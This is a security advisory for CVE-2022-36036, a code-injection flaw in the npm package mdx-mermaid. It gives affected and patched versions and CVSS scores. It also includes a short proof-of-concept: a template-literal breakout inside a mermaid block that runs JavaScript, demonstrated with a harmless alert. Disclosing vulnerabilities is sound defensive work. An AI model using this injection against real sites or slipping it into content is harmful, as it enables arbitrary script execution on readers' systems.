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Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Low
sjwall published GHSA-rvgm-35jw-q628 Aug 22, 2022

Package

npm mdx-mermaid (npm)

Affected versions

0.0.1, 1.0.0, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 2.0.0-rc1

Patched versions

1.3.0, 2.0.0-rc2

Description

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

References

None

For more information

N/A

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2022-36036

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits